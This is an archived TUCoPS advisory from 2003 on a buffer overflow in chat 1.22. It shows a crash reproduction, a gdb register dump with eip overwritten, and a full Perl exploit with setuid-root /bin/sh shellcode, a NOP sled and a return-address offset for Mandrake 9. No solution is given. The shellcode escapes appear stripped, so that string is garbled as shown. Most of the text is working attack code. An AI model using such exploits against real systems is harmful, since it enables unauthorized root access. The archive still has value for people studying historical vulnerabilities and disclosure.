TUCoPS :: Linux :: General :: lnx5911.htm

chat locale buffer overflow
6th Jan 2003 [SBWID-5911]
COMMAND

	chat locale buffer overflow

SYSTEMS AFFECTED

	chat 1.22

PROBLEM

	securma massine [securma@caramail.com] says :
	
	chat is prone to a buffer overflow with a buffer [1056]byte
	
	root@tasanou sbin]#
	./chat `perl -e 'print "A"x1056'`
	Segmentation fault (core dumped)
	[root@tasanou sbin]# gdb chat core.3261 --quiet
	
	(no debugging symbols found)...
	Core was generated by
	`AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
	AAAAAAAAAAAAAAAAAAAA'.
	Program terminated with signal 11, Segmentation fault.
	Reading symbols from /lib/i686/libc.so.6...(no debugging
	symbols found)...done.
	Loaded symbols for /lib/i686/libc.so.6
	Reading symbols from /lib/ld-linux.so.2...done.
	Loaded symbols for /lib/ld-linux.so.2
	#0 0x41414141 in ?? ()
	(gdb) info reg
	eax 0x804de90 134536848
	ecx 0x0 0
	edx 0x186a1 100001
	ebx 0x41414141 1094795585
	esp 0xbffe6cc0 0xbffe6cc0
	ebp 0x41414141 0x41414141
	esi 0x41414141 1094795585
	edi 0x41414141 1094795585
	eip 0x41414141 0x41414141
	eip is overwritet
	
	
	 exploit code:
	 =============
	
	#!/usr/bin/perl
	#greets marocit
	$shellcode = "x31xc0x31xdbxb0x17xcdx80" .
	"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" .
	"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" .
	"x80xe8xdcxffxffxff/bin/sh";
	
	$ret =0xbfffe8e0;
	$buf = 1056;
	$egg = 6000;
	$nop = "x90";
	$offset = 0;
	
	if (@ARGV == 1) { $offset = $ARGV[0]; }
	
	$addr = pack('l', ($ret + $offset));
	for ($i = 0; $i < $buf; $i += 4) {
	$buffer .= $addr;
	}
	
	for ($i = 0; $i < ($egg - length($shellcode) - 100); $i++)
	{
	$buffer .= $nop;
	}
	
	$buffer .= $shellcode;
	
	exec("./chat", $buffer,0);
	
	#i use offset 1640 (mandrake 9)
	

SOLUTION

	?

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH